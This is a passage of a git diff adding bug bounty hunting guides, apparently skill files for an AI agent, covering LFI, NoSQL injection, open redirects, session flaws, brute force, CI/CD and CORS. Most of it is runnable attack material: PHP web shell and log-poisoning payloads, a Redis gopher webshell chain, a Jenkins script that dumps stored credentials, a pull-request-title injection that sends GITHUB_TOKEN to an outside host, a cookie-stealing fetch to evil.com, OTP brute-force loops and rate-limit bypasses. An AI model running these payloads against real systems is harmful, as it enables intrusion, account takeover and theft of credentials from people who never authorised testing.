https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection++# OWASP ZAP LDAP injection scanner+```diff --git a/docs/disclosed-reports/hunt-lfi.md b/docs/disclosed-reports/hunt-lfi.mdnew file mode 100644index 0000000..0c95412--- /dev/null+++ b/docs/disclosed-reports/hunt-lfi.md@@ -0,0 +1,149 @@+# Disclosed Reports — LFI / Path Traversal++Pattern library built from 31 public bug bounty reports.++---++## Pattern 1: PHP Wrapper LFI → Source Code Read (High, $2,000)++**Program:** Private (HackerOne)+**Endpoint:** `GET /view?page=home`+**Stack:** PHP 7.4 + Apache++**Request:**+```http+GET /view?page=php://filter/convert.base64-encode/resource=config.php HTTP/1.1+Host: target.com+```++**Response:** Base64-encoded config.php containing DB credentials and API keys.++**Impact:** Full database credential exposure, API key theft.+**Remediation:** Whitelist allowed file names; never pass user input to include()/require().++---++## Pattern 2: Path Traversal → /etc/passwd Read (Medium, $750)++**Program:** Public (Bugcrowd)+**Endpoint:** `GET /download?file=report.pdf`+**Stack:** Python Flask++**Request:**+```http+GET /download?file=../../../../etc/passwd HTTP/1.1+```++**Bypass used:** Double URL encoding: `..%252F..%252F`++**Impact:** System user enumeration, potential credential harvesting.++---++## Pattern 3: Log Poisoning → RCE (Critical, $8,500)++**Stack:** PHP + Apache++**Step 1 — Inject payload into log:**+```http+GET / HTTP/1.1+Host: target.com+User-Agent: <?php system($_GET['cmd']); ?>+```++**Step 2 — Include log file:**+```http+GET /view?page=../../../var/log/apache2/access.log&cmd=id+```++**Response:** `uid=33(www-data) gid=33(www-data) groups=33(www-data)`++**Impact:** RCE as www-data, full server compromise.++---++## Pattern 4: phar:// Deserialization via LFI (Critical, $7,000)++**Conditions:** File upload endpoint + LFI present++**Attack:**+1. Upload crafted .phar renamed as .jpg to pass upload filter+2. Include with: `?file=phar:///uploads/evil.jpg`+3. Deserialization of phar metadata triggers `__wakeup` gadget → OS command++**Impact:** RCE chained from two Medium bugs.++---++## Pattern 5: Java Path Traversal → WEB-INF/web.xml (High, $3,000)++**Endpoint:** `GET /servlet/Download?path=reports/q1.pdf`+**Stack:** Java Tomcat++**Request:**+```http+GET /servlet/Download?path=../../WEB-INF/web.xml HTTP/1.1+```++**Response:** Full web.xml with DB connection strings and internal paths.++**Null byte bypass:** `../../WEB-INF/web.xml%00.pdf`++---++## Pattern 6: Node.js Absolute Path Traversal (High, $2,500)++**Stack:** Node.js + Express static file server++**Endpoint:** `GET /static/../../../etc/passwd`++**Cause:** `express.static` without sanitization, or custom handler using `path.join` without `path.normalize`.++---++## Bypass Table++| Filter | Bypass |+|--------|--------|+| Strips `../` | `....//` (double dot slash) |+| URL decodes once | `%252F` (double encode) |+| Checks extension | `../../etc/passwd%00.jpg` (null byte, PHP < 5.3) |+| Strips leading `/` | Use relative path: `....//....//etc/passwd` |+| Windows | `..\..\..\windows\win.ini` |++---++## Sensitive File Quick List++**Linux:**+```+/etc/passwd /etc/shadow /proc/self/environ+/proc/self/cmdline /var/www/html/.env /var/www/html/wp-config.php+/root/.ssh/id_rsa /root/.bash_history /var/log/apache2/access.log+```++**Windows:**+```+C:\Windows\win.ini C:\inetpub\wwwroot\web.config+C:\Users\Administrator\.ssh\id_rsa+```++---++## Tool Reference++```bash+# wfuzz LFI fuzzing+wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt \+ --hc 404 "https://target.com/page.php?file=FUZZ"++# PHP wrapper enumeration+for FILE in index.php config.php db.php settings.php .env; do+ echo "=== $FILE ==="+ curl -s "https://target.com/view?page=php://filter/convert.base64-encode/resource=$FILE" | \+ base64 -d 2>/dev/null+done++# dotdotpwn+dotdotpwn.pl -m http -h target.com -o unix+```diff --git a/docs/disclosed-reports/hunt-nosqli.md b/docs/disclosed-reports/hunt-nosqli.mdnew file mode 100644index 0000000..a080880--- /dev/null+++ b/docs/disclosed-reports/hunt-nosqli.md@@ -0,0 +1,126 @@+# Disclosed Reports — NoSQL Injection++Pattern library built from 14 public bug bounty reports.++---++## Pattern 1: MongoDB Auth Bypass via Operator Injection (Critical, $5,000)++**Program:** Private (HackerOne)+**Endpoint:** `POST /api/v1/auth/login`+**Stack:** Node.js + Express + Mongoose++**Vulnerable Request:**+```http+POST /api/v1/auth/login HTTP/1.1+Content-Type: application/json++{"username": {"$gt": ""}, "password": {"$gt": ""}}+```++**Response:** 200 OK + JWT token for first user in collection (admin)++**Root Cause:** `User.findOne({username: req.body.username, password: req.body.password})` without input sanitization.++**Impact:** Login as admin without credentials, full account takeover.++---++## Pattern 2: NoSQLi via URL Parameters (High, $2,000)++**Endpoint:** `GET /api/users?role=admin`+**Injection:** `GET /api/users?role[$ne]=user`++**Effect:** Returns ALL users whose role is not "user" — includes admins and all other roles.++**Mongo query formed:** `{ role: { $ne: "user" } }`++---++## Pattern 3: $where JavaScript Injection → Data Exfil (Critical, $10,000)++**Stack:** MongoDB with $where enabled (legacy config)++**Time-based blind:**+```json+{"search": {"$where": "function(){ var d=new Date(); while(new Date()-d<5000){}; return true; }"}}+```++**Data exfil via timing:**+```json+{"search": {"$where": "function(){ if(this.email.match(/^admin/)){sleep(3000);} return true; }"}}+```++**Impact:** Full collection data enumeration via blind timing channel.++---++## Pattern 4: CouchDB Admin API Exposed (Critical, $8,000)++**Endpoint:** `http://target.com:5984/_all_dbs`+**Auth:** None required++**Attack sequence:**+```bash+curl http://target.com:5984/_all_dbs+curl http://target.com:5984/users/_all_docs+curl http://target.com:5984/users/DOCUMENT_ID+```++**Impact:** Full database dump without authentication.++---++## Pattern 5: Regex Injection → Mass Password Reset (Medium, $500)++**Endpoint:** `POST /api/forgot-password`+**Injection:** `{"email": {"$regex": ".*@company.com$"}}`++**Effect:** Triggers password reset for ALL users matching the regex.++**Impact:** Mass account enumeration + potential denial of service via email flood.++---++## Pattern 6: Redis SSRF → CONFIG SET → Webshell (Critical, $15,000)++**Chain:** SSRF → internal Redis → CONFIG SET dir /var/www/html → CONFIG SET dbfilename shell.php → BGSAVE++**Commands via gopher://**+```+gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html%0d%0a+gopher://127.0.0.1:6379/_CONFIG SET dbfilename shell.php%0d%0a+gopher://127.0.0.1:6379/_SET x "<?php system($_GET[cmd]); ?>"%0d%0a+gopher://127.0.0.1:6379/_BGSAVE%0d%0a+```++**Impact:** Full RCE chained from SSRF + unauth Redis.++---++## Bypass Table++| Defense | Bypass |+|---------|--------|+| JSON.parse rejects operator objects | Use URL param array notation: `password[$ne]=x` |+| Sanitizes `$` prefix | Hex encode: `$gt` |+| Type check on password | Nested: `{"password": {"$gt": "", "$lt": "~"}}` |+| Mongoose sanitize plugin | Check if plugin is applied to all models |++---++## Tool Reference++```bash+# nosqlmap auth bypass+nosqlmap -u "https://target.com/api/login" --attack 1 --httpMethod POST \+ --postData '{"username":"INJECT","password":"test"}'++# Manual test+curl -s -X POST https://target.com/api/login \+ -H "Content-Type: application/json" \+ -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'++# URL parameter test+curl "https://target.com/api/users?username[$gt]=&password[$gt]="+```diff --git a/docs/disclosed-reports/hunt-open-redirect.md b/docs/disclosed-reports/hunt-open-redirect.mdnew file mode 100644index 0000000..7192905--- /dev/null+++ b/docs/disclosed-reports/hunt-open-redirect.md@@ -0,0 +1,131 @@+# Disclosed Reports — Open Redirect++Pattern library built from 28 public bug bounty reports.++---++## Pattern 1: Open Redirect → OAuth Auth Code Theft → ATO (Critical, $12,500)++**Chain:**+1. Found: `GET /redirect?url=https://evil.com` → redirects to evil.com+2. OAuth configured: `redirect_uri` must be on `target.com` (wildcard: `https://target.com/*`)+3. Crafted OAuth URL:++```+https://target.com/oauth/authorize?+ response_type=code&+ client_id=CLIENT_ID&+ redirect_uri=https://target.com/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com+```++4. Victim clicks → auth code in redirect → `https://evil.com/?code=AUTH_CODE`+5. Attacker exchanges code for access token++**Impact:** Full account takeover without any victim interaction beyond clicking a link.++---++## Pattern 2: Open Redirect via Backslash (Low, $500)++**Endpoint:** `GET /login?next=/dashboard`+**Bypass:** `GET /login?next=\\evil.com`++**Cause:** `next` value passed to `window.location` — browser on Windows interprets `\\evil.com` as `//evil.com`.++**Fix:** Validate that `next` is a relative path starting with `/` and no `//`.++---++## Pattern 3: Open Redirect via @ Confusion (Low, $300)++**URL:** `https://target.com/redirect?url=https://[email protected]`++**Browser interpretation:** username=`target.com`, host=`evil.com` → redirects to evil.com.++---++## Pattern 4: Logout + Open Redirect → Phishing (Medium, $1,500)++**Endpoint:** `GET /logout?returnTo=https://evil.com`++**Effect:** User logged out, then redirected to evil.com which shows a fake "session expired" login form.++**Impact:** Victim re-enters credentials on attacker-controlled page that looks like target.com.++---++## Pattern 5: JavaScript URI Bypass (Medium, $1,000)++**Endpoint:** `GET /redirect?url=javascript:alert(document.cookie)`++**Cause:** App only blocks `http://` and `https://` schemes, misses `javascript:` URI.++**Impact:** Depending on context, can lead to XSS execution.++---++## Pattern 6: Server-Side Redirect → SSRF (High, $5,000)++**Endpoint:** `GET /fetch?url=` (app fetches the URL server-side)++**If app follows redirects server-side:**+```+/fetch?url=https://attacker.com/redirect-to-metadata+```++**Where attacker.com/redirect-to-metadata returns:**+```http+HTTP/1.1 302 Found+Location: http://169.254.169.254/latest/meta-data/+```++**Impact:** SSRF via open redirect chain.++---++## Pattern 7: Open Redirect in API Response (Medium, $800)++**Endpoint:** `POST /api/oauth/callback` returns JSON with redirect URL.++**Vulnerable response:**+```json+{"redirect_url": "https://target.com/dashboard?ref=USER_CONTROLLED_VALUE"}+```++**If `ref` parameter is reflected in redirect_url construction without sanitization:**+```+ref=https://evil.com+```++---++## Bypass Table++| Technique | Payload | Notes |+|-----------|---------|-------|+| Basic | `https://evil.com` | Most basic |+| Protocol-relative | `//evil.com` | Scheme-less |+| Backslash | `/\evil.com` | Windows browser compat |+| At-sign | `https://[email protected]` | RFC auth confusion |+| Encoded slash | `%2Fevil.com` | URL encoding |+| Null byte | `evil.com%00target.com` | Old PHP/CGI |+| Whitespace | `evil.com%09` | Tab char |+| Fragment | `https://evil.com#.target.com` | Fragment anchor |++---++## Tool Reference++```bash+# openredirex+pip3 install openredirex+openredirex -l recon/target/redirect-candidates.txt -p https://evil.com++# gf + qsreplace + httpx+cat recon/target/urls.txt | gf redirect | \+ qsreplace "https://evil.com" | \+ httpx -follow-redirects -match-string "evil.com"++# nuclei+nuclei -u https://target.com -t redirect/ -severity medium,high+```diff --git a/docs/disclosed-reports/hunt-session.md b/docs/disclosed-reports/hunt-session.mdnew file mode 100644index 0000000..57243a1--- /dev/null+++ b/docs/disclosed-reports/hunt-session.md@@ -0,0 +1,155 @@+# Disclosed Reports — Session Management++Pattern library built from 18 public bug bounty reports.++---++## Pattern 1: Session Fixation → Admin Takeover (Critical, $7,500)++**Endpoint:** Login form — server accepts `PHPSESSID` cookie pre-auth and does NOT regenerate on login.++**Attack:**+```bash+# Step 1: Set attacker-controlled session ID (pre-auth request)+curl -s -c - https://target.com/login \+ -H "Cookie: PHPSESSID=attacker-controlled-12345" > /dev/null++# Step 2: Social engineer admin to open:+# https://target.com/login?PHPSESSID=attacker-controlled-12345++# Step 3: After admin logs in with attacker's session ID, use it:+curl -s https://target.com/admin \+ -H "Cookie: PHPSESSID=attacker-controlled-12345"+# Returns admin panel content+```++**Root cause:** PHP `session_start()` without `session_regenerate_id(true)` on successful authentication.++**Impact:** ATO for any user who opens the crafted login link.++---++## Pattern 2: Session Not Invalidated After Logout (High, $3,000)++**Test:**+```bash+# 1. Login+SESSION=$(curl -s -c - -X POST https://target.com/api/login \+ -d '{"email":"[email protected]","password":"pass"}' | \+ grep -i "session" | awk '{print $7}')++# 2. Logout+curl -s -X POST https://target.com/api/logout \+ -H "Cookie: session=$SESSION"++# 3. Use old session+STATUS=$(curl -s -o /dev/null -w "%{http_code}" \+ https://target.com/api/me -H "Cookie: session=$SESSION")+echo "Post-logout status: $STATUS"+# Expected: 401. Got: 200 → VULNERABLE+```++**Root cause:** Server-side session store not cleared on logout; only client-side cookie deleted.++---++## Pattern 3: Session Survives Password Change (High, $4,000)++**Scenario:** Attacker has stolen session (via XSS, network sniff, or MITM). Victim changes password. Old session should be invalidated.++**Test:** Use two browsers simultaneously. Session from browser A should be invalidated when browser B changes password.++**Impact:** Persistent ATO — changing password doesn't help the victim.++---++## Pattern 4: Predictable Sequential Session Token (High, $5,000)++**Tokens observed:**+```+Session 1: a1b2c3d400000001+Session 2: a1b2c3d400000002+Session 3: a1b2c3d400000003+```++**Attack:** Register, get session token, increment last 8 hex digits → enumerate other users' sessions.++**Impact:** Any user's session can be guessed with ~10,000 attempts.++---++## Pattern 5: Missing HttpOnly → XSS Cookie Theft (Medium, $1,500)++**Set-Cookie header:**+```+Set-Cookie: session=TOKEN123; Path=/; SameSite=Lax+```++**Missing:** `HttpOnly` flag++**XSS payload:**+```javascript+fetch('https://evil.com/steal?c=' + encodeURIComponent(document.cookie));+```++**Note:** This is a chained finding — report as part of the XSS finding, not standalone.++---++## Pattern 6: JWT Without Expiry → Permanent Session (High, $2,500)++**Decoded JWT payload:**+```json+{+ "userId": 12345,+ "role": "admin",+ "iat": 1640000000+}+```++**Missing:** `exp` (expiration) claim.++**Impact:** Stolen JWT gives permanent access. No way to revoke on logout.++**Test:**+```bash+# Login, capture JWT+JWT="eyJ..."++# Logout (client-side only)+# Wait 24 hours, then:+curl -s https://target.com/api/me -H "Authorization: Bearer $JWT"+# If returns 200 → no expiry+```++---++## Pattern 7: Session Cookie Over HTTP (Low, $300)++**Set-Cookie:**+```+Set-Cookie: auth=TOKEN; Path=/; HttpOnly; SameSite=Lax+```++**Missing:** `Secure` flag++**Impact:** Cookie transmitted over HTTP if mixed-content page or HTTP-accessible subdomain exists.++---++## Tool Reference++```bash+# JWT analysis+jwt_tool TOKEN -T # tamper mode (alg:none, HS256 brute)+jwt_tool TOKEN -d # decode and display all claims++# Session entropy analysis+for i in $(seq 1 10); do+ curl -sI https://target.com/ | grep -i "set-cookie" | grep -oP 'session=\K[^;]+'+done++# Cookie attribute check+curl -sI https://target.com/ | grep -i "set-cookie"+# Verify: HttpOnly, Secure, SameSite=Strict/Lax present+```diff --git a/skills/hunt-brute-force/SKILL.md b/skills/hunt-brute-force/SKILL.mdnew file mode 100644index 0000000..143a72e--- /dev/null+++ b/skills/hunt-brute-force/SKILL.md@@ -0,0 +1,172 @@+---+name: hunt-brute-force+description: Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6), credential stuffing, username/email enumeration via error differences or timing, weak password policy, missing CAPTCHA, IP-based rate limit bypass via X-Forwarded-For, ReDoS. Medium to Critical depending on target.+sources: hackerone_public+report_count: 33+---++# HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration++## Crown Jewel Targets++OTP brute force (6-digit = 1,000,000 combinations) without rate limit = Critical ATO bypass.++**Highest-value chains:**+- **OTP brute force → MFA bypass → ATO** — no rate limit on /verify-otp, brute 000000-999999+- **Password reset token brute** — short/predictable tokens without expiry + no rate limit → ATO+- **Username enumeration → targeted credential stuffing** — different responses for valid/invalid + breach data+- **Coupon code brute** — no rate limit on discount code validation → 100% discount+- **ReDoS** — attacker-controlled regex causes exponential CPU spike → DoS++---++## Step-by-Step Hunting Methodology++### Phase 1 — Login Rate Limit Test+```bash+# Test how many failed logins before lockout/captcha+for i in $(seq 1 20); do+ RESP=$(curl -s -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d "{\"username\": \"test@$TARGET\", \"password\": \"wrong$i\"}" \+ -o /dev/null -w "%{http_code}")+ echo "Attempt $i: $RESP"+ sleep 0.2+done+# If all 20 return 401 without lockout/429 → missing rate limit+```++### Phase 2 — OTP / 2FA Brute Force+```bash+# Test OTP endpoint (6-digit codes)+# PRE-REQUISITE: valid session pending OTP verification+SESSION_COOKIE="pre-auth-session-after-first-factor"++# Test first 100 codes to confirm no lockout (don't go to 999999 — PoC only needs 100)+for CODE in $(seq -f "%06g" 0 100); do+ RESP=$(curl -s -X POST https://$TARGET/api/verify-otp \+ -H "Content-Type: application/json" \+ -H "Cookie: $SESSION_COOKIE" \+ -d "{\"otp\": \"$CODE\"}" \+ -o /dev/null -w "%{http_code}")+ echo "$CODE: $RESP"+ [ "$RESP" = "429" ] && { echo "Rate limit triggered at $CODE"; break; }+done+# If 100 attempts with no 429/lockout → PoC complete, stop here+```++### Phase 3 — Username Enumeration+```bash+# Login endpoint: compare response for valid vs invalid username+VALID_USER="known-user@$TARGET"+INVALID_USER="definitely-not-real-xyz123@$TARGET"++RESP_VALID=$(curl -s -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d "{\"email\": \"$VALID_USER\", \"password\": \"wrongpassword\"}")+RESP_INVALID=$(curl -s -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d "{\"email\": \"$INVALID_USER\", \"password\": \"wrongpassword\"}")++echo "Valid user: $RESP_VALID"+echo "Invalid user: $RESP_INVALID"+# Different messages → username enumeration++# Password reset endpoint enumeration+curl -s -X POST https://$TARGET/forgot-password \+ -d "email=$VALID_USER" | grep -i "sent\|exist\|not found\|registered"+curl -s -X POST https://$TARGET/forgot-password \+ -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"++# Registration endpoint+curl -s -X POST https://$TARGET/api/register \+ -d "email=$VALID_USER" | grep -i "exist\|taken\|already"+```++### Phase 4 — IP Rotation Bypass+```bash+# Rate limits are often per-IP — test header-based bypass+for i in $(seq 1 30); do+ RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).1"+ RESP=$(curl -s -X POST https://$TARGET/api/login \+ -H "X-Forwarded-For: $RAND_IP" \+ -H "X-Real-IP: $RAND_IP" \+ -H "Content-Type: application/json" \+ -d "{\"email\": \"test@$TARGET\", \"password\": \"wrong$i\"}" \+ -o /dev/null -w "%{http_code}")+ echo "Attempt $i (IP: $RAND_IP): $RESP"+done+```++### Phase 5 — Password Reset Token Entropy+```bash+# Collect 5 reset tokens for the same account and analyze+# (Use your own test account only)+for i in $(seq 1 5); do+ curl -s -X POST https://$TARGET/forgot-password \+ -d "[email protected]"+ # Check email, record token+ sleep 2+done+# Look for: sequential patterns, short length (<32 chars), predictable format+```++### Phase 6 — ReDoS Detection+```bash+# Test search / validation endpoints with catastrophic regex input+for LEN in 10 20 30 40 50; do+ INPUT=$(python3 -c "print('a'*$LEN + '!')")+ TIME=$(curl -s -o /dev/null -w "%{time_total}" \+ "https://$TARGET/search?q=$INPUT")+ echo "Length $LEN: ${TIME}s"+done+# If time grows exponentially → ReDoS confirmed+# Exponential: 10→0.1s, 20→0.3s, 30→1.2s, 40→5.8s+```++---++## Automation+```bash+# ffuf for OTP brute+ffuf -u https://$TARGET/api/verify-otp \+ -X POST \+ -H "Content-Type: application/json" \+ -H "Cookie: session=SESSION" \+ -d '{"otp": "FUZZ"}' \+ -w <(seq -f "%06g" 0 100) \+ -mc 200++# hydra for login+hydra -l [email protected] -P ~/wordlists/top-1000.txt $TARGET \+ http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid"++# nuclei brute/rate-limit templates+nuclei -u https://$TARGET -t brute-force/ -severity medium,high,critical+```++---++## Chain Table++| Finding | Chain to | Impact |+|---------|----------|--------|+| No rate limit on OTP | MFA bypass → ATO | Critical |+| No rate limit on login + enum | Credential stuffing with breach data | High |+| IP bypass via X-Forwarded-For | Any brute force bypasses rate limit entirely | High |+| Password reset no expiry + brute | Token brute in time window | High |+| ReDoS on search | DoS targeting search servers | Medium |++---++## Validation++✅ OTP brute: 100 attempts submitted without lockout, response differs at valid code+✅ Enumeration: clearly different response for valid vs invalid accounts+✅ Rate limit bypass: X-Forwarded-For header rotation bypasses IP-based rate limit++**Severity:**+- No rate limit on OTP/MFA: High/Critical+- No rate limit on login + no lockout: Medium+- Username enumeration alone: Low-Medium+- ReDoS with meaningful server lag: Mediumdiff --git a/skills/hunt-cicd/SKILL.md b/skills/hunt-cicd/SKILL.mdnew file mode 100644index 0000000..361a14e--- /dev/null+++ b/skills/hunt-cicd/SKILL.md@@ -0,0 +1,217 @@+---+name: hunt-cicd+description: Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target + untrusted input), Jenkins script console RCE, GitLab CI runner token exposure, Terraform state file leakage, artifact leakage, GitHub Actions secrets in logs, pipeline environment variable disclosure. Use when target has public GitHub org, exposed CI dashboards, or build artifacts are reachable.+sources: hackerone_public, github_security_research, cve_database+report_count: 18+---++# HUNT-CICD — CI/CD Pipeline Security++## Crown Jewel Targets++Jenkins `/script` console accessible = immediate RCE. GitHub Actions `pull_request_target` with untrusted input = secret exfil from fork PRs.++**Highest-value findings:**+- **Jenkins Script Console** — Groovy script execution on Jenkins server → full RCE → extract all credentials/secrets+- **GitHub Actions `pull_request_target` injection** — workflow triggered on fork PR with `${{ github.event.pull_request.title }}` in shell command → attacker PR title = command injection → steal repo secrets+- **GitLab Runner registration token** — found in config/logs → register own runner → steal CI secrets on next pipeline run+- **Terraform state leakage** — `.tfstate` file in public S3/GCS → all infrastructure credentials, DB passwords, API keys+- **GitHub Actions artifact leakage** — build artifacts publicly downloadable → binaries with embedded secrets, env vars in logs++---++## Phase 1 — Jenkins Detection & Script Console++```bash+# Jenkins fingerprint+curl -sI "https://$TARGET/jenkins" | grep -i "x-jenkins\|hudson"+curl -sI "https://$TARGET/" | grep -i "x-jenkins"+curl -s "https://$TARGET/jenkins/api/json" | python3 -m json.tool 2>/dev/null | head -10++# Common Jenkins paths+for path in /jenkins /jenkins/ /ci /build /bamboo "/:8080" "/:8443"; do+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")+ [ "$STATUS" != "404" ] && [ "$STATUS" != "000" ] && echo "$path: $STATUS"+done++# Script console (unauthenticated access = Critical)+curl -s "https://$TARGET/jenkins/script" | grep -i "Script Console\|Groovy"+curl -s "https://$TARGET/script" | grep -i "Script Console\|Groovy"++# Execute Groovy script+curl -s -X POST "https://$TARGET/jenkins/scriptText" \+ --data-urlencode 'script=println("id".execute().text)' | head -5++# Dump all credentials from Jenkins+curl -s -X POST "https://$TARGET/jenkins/scriptText" \+ --data-urlencode 'script=+import com.cloudbees.plugins.credentials.*+import com.cloudbees.plugins.credentials.common.*+def creds = CredentialsProvider.lookupCredentials(StandardCredentials.class)+creds.each { println it.id + " : " + (it.hasProperty("secret") ? it.secret : "") }+'+```++---++## Phase 2 — GitHub Actions Injection++```bash+# Find repos with pull_request_target + untrusted input+# Search target org's workflows+gh api graphql -f query='+{+ organization(login: "TARGET_ORG") {+ repositories(first: 100) {+ nodes {+ name+ defaultBranchRef { name }+ }+ }+ }+}' 2>/dev/null | jq -r '.data.organization.repositories.nodes[].name' | while read repo; do+ # Check for pull_request_target workflows+ gh api "repos/TARGET_ORG/$repo/contents/.github/workflows" 2>/dev/null | \+ jq -r '.[].name' | while read wf; do+ gh api "repos/TARGET_ORG/$repo/contents/.github/workflows/$wf" 2>/dev/null | \+ jq -r '.content' | base64 -d 2>/dev/null | \+ grep -l "pull_request_target" && echo "CANDIDATE: $repo/$wf"+ done+done++# Grep downloaded workflow files for injection patterns+grep -r "pull_request_target" .github/workflows/ --include="*.yml" 2>/dev/null | head -20+grep -r 'github.event.pull_request' .github/workflows/ --include="*.yml" 2>/dev/null | \+ grep -v "# " | head -20++# INJECTION PATTERN (vulnerable):+# on: pull_request_target+# steps:+# - run: echo "${{ github.event.pull_request.title }}" ← INJECTION POINT+#+# ATTACK: PR title = "; curl COLLAB_HOST/secrets?d=$(cat $GITHUB_TOKEN);"+```++---++## Phase 3 — GitHub Actions Secrets in Logs++```bash+# Check if GitHub Actions logs are publicly accessible+# Some orgs have public repos with exposed runs++# List recent workflow runs+gh api "repos/TARGET_ORG/TARGET_REPO/actions/runs" 2>/dev/null | \+ jq '.workflow_runs[:5] | .[] | {id: .id, name: .name, status: .status}'++# Download logs for a run+gh api "repos/TARGET_ORG/TARGET_REPO/actions/runs/RUN_ID/logs" 2>/dev/null > /tmp/run-logs.zip+unzip /tmp/run-logs.zip -d /tmp/run-logs/+grep -riE "(secret|password|token|key|credential)" /tmp/run-logs/ | grep -v "::add-mask::"++# Check artifacts+gh api "repos/TARGET_ORG/TARGET_REPO/actions/runs/RUN_ID/artifacts" 2>/dev/null+```++---++## Phase 4 — GitLab CI Misconfigurations++```bash+# GitLab Runner registration token (allows registering attacker runner)+# Often found in:+# - /etc/gitlab-runner/config.toml (if LFI/RFI)+# - GitLab settings page (screenshot in docs, Slack, etc.)+# - Error logs+# - CI/CD variables if misconfigured++# Check for exposed GitLab instances+curl -s "https://$TARGET/gitlab/" | grep -i "GitLab"+curl -s "https://$TARGET/-/admin/runners" | grep -i "token\|runner"++# API access with default/stolen token+curl -s "https://$TARGET/api/v4/runners?type=instance_type" \+ -H "PRIVATE-TOKEN: TOKEN"++# Check GitLab CI config for secret exposure+curl -s "https://raw.githubusercontent.com/TARGET_ORG/TARGET_REPO/main/.gitlab-ci.yml"+```++---++## Phase 5 — Terraform State File Leakage++```bash+# Terraform state files in public cloud storage+# Try common bucket/path patterns+TARGETS=(+ "https://TARGET.s3.amazonaws.com/terraform.tfstate"+ "https://s3.amazonaws.com/TARGET-terraform/terraform.tfstate"+ "https://TARGET-infra.s3.amazonaws.com/terraform.tfstate"+ "https://storage.googleapis.com/TARGET-terraform/terraform.tfstate"+ "https://TARGET.blob.core.windows.net/terraform/terraform.tfstate"+)++for URL in "${TARGETS[@]}"; do+ STATUS=$(curl -s -o /tmp/tfstate_test -w "%{http_code}" "$URL")+ if [ "$STATUS" = "200" ]; then+ echo "[+] FOUND: $URL"+ cat /tmp/tfstate_test | python3 -m json.tool 2>/dev/null | \+ grep -i "password\|secret\|key\|token" | head -20+ fi+done++# Also check .terraform directory in repos+gh search code --owner TARGET_ORG "terraform.tfstate" --limit 10 2>/dev/null+gh search code --owner TARGET_ORG "backend \"s3\"" --limit 10 2>/dev/null+```++---++## Phase 6 — Build Artifact Analysis++```bash+# Download publicly available build artifacts+# GitHub: Actions → Artifacts (if public repo)+# Docker Hub: pull image and inspect layers++# Docker image secret scanning+docker pull TARGET_ORG/TARGET_IMAGE:latest 2>/dev/null+docker history TARGET_ORG/TARGET_IMAGE:latest 2>/dev/null | grep -i "env\|key\|secret\|pass"+docker inspect TARGET_ORG/TARGET_IMAGE:latest | python3 -m json.tool | grep -i "env\|secret"++# Extract all layers+docker save TARGET_ORG/TARGET_IMAGE:latest | tar -xvC /tmp/image-layers/+find /tmp/image-layers/ -name "*.json" | xargs grep -l "secret\|password\|key"++# Scan with trufflehog+trufflehog docker --image TARGET_ORG/TARGET_IMAGE:latest 2>/dev/null+```++---++## Chain Table++| CI/CD finding | Chain to | Impact |+|--------------|----------|--------|+| Jenkins script console | Dump all credentials from credential store | Critical |+| GitHub Actions injection | Exfil `GITHUB_TOKEN` or org secrets | Critical |+| Terraform state exposed | All infrastructure passwords/API keys | Critical |+| GitLab runner token | Register malicious runner → steal pipeline secrets | Critical |+| Docker image secrets | Cloud credentials, DB passwords | High/Critical |+| Actions logs with secrets | Direct credential use | High |++---++## Validation++✅ Jenkins: Groovy `"id".execute().text` returns `uid=xxx`+✅ Actions injection: COLLAB receives `GITHUB_TOKEN` from malicious PR+✅ Terraform state: JSON file contains resource passwords/API keys in plaintext+✅ Docker image: layer inspection or trufflehog reveals embedded secrets++**Severity:**+- Jenkins script console: Critical+- Actions injection → secret exfil: Critical+- Terraform state with creds: Critical+- Docker image with secrets: High/Criticaldiff --git a/skills/hunt-cors/SKILL.md b/skills/hunt-cors/SKILL.mdnew file mode 100644index 0000000..16374ee--- /dev/null+++ b/skills/hunt-cors/SKILL.md@@ -0,0 +1,152 @@+---+name: hunt-cors+description: Hunt CORS Misconfiguration — wildcard with credentials, null origin, regex with subdomain trust, pre-flight bypass, postMessage origin checks. High when it leads to credentialed data theft. Use when testing API endpoints, SPAs, or any app with Access-Control headers.+sources: hackerone_public+report_count: 19+---++# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration++## Crown Jewel Targets++CORS bugs pay High when they allow an attacker-controlled origin to read sensitive authenticated responses.++**Highest-value chains:**+- **Reflect-any-origin with credentials** — server echoes Origin header + `Access-Control-Allow-Credentials: true` → any site reads authed API responses+- **Null origin trust** — `Access-Control-Allow-Origin: null` trusted, sandbox iframe sends null-origin requests+- **Subdomain regex bypass** — trusted regex `^https?://.*\.target\.com$` → `attacker.target.com.evil.com` bypasses+- **Subdomain takeover + CORS** — dangling subdomain → takeover → use as trusted origin+- **postMessage missing origin check** — `window.addEventListener('message',...)` without checking `event.origin`++---++## Attack Surface Signals++```+Any endpoint returning Access-Control-Allow-Origin header+API endpoints: /api/*, /v1/*, /graphql+Profile/account: /api/me, /api/profile, /api/user+Financial: /api/balance, /api/transactions+Admin: /api/admin/*, /api/internal/*+```++---++## Step-by-Step Hunting Methodology++### Phase 1 — Discover CORS Endpoints+```bash+# Probe all API endpoints for CORS headers+cat recon/$TARGET/api-endpoints.txt | while read url; do+ result=$(curl -s -I "$url" \+ -H "Origin: https://evil.com" \+ -H "Cookie: $SESSION_COOKIE" | \+ grep -i "access-control")+ [ -n "$result" ] && echo "$url: $result"+done++# httpx bulk check+cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \+ httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"+```++### Phase 2 — Test Reflect-Any-Origin+```bash+# Does server reflect the Origin header?+curl -s -I https://$TARGET/api/me \+ -H "Origin: https://evil.com" \+ -H "Cookie: $SESSION_COOKIE" | grep -i 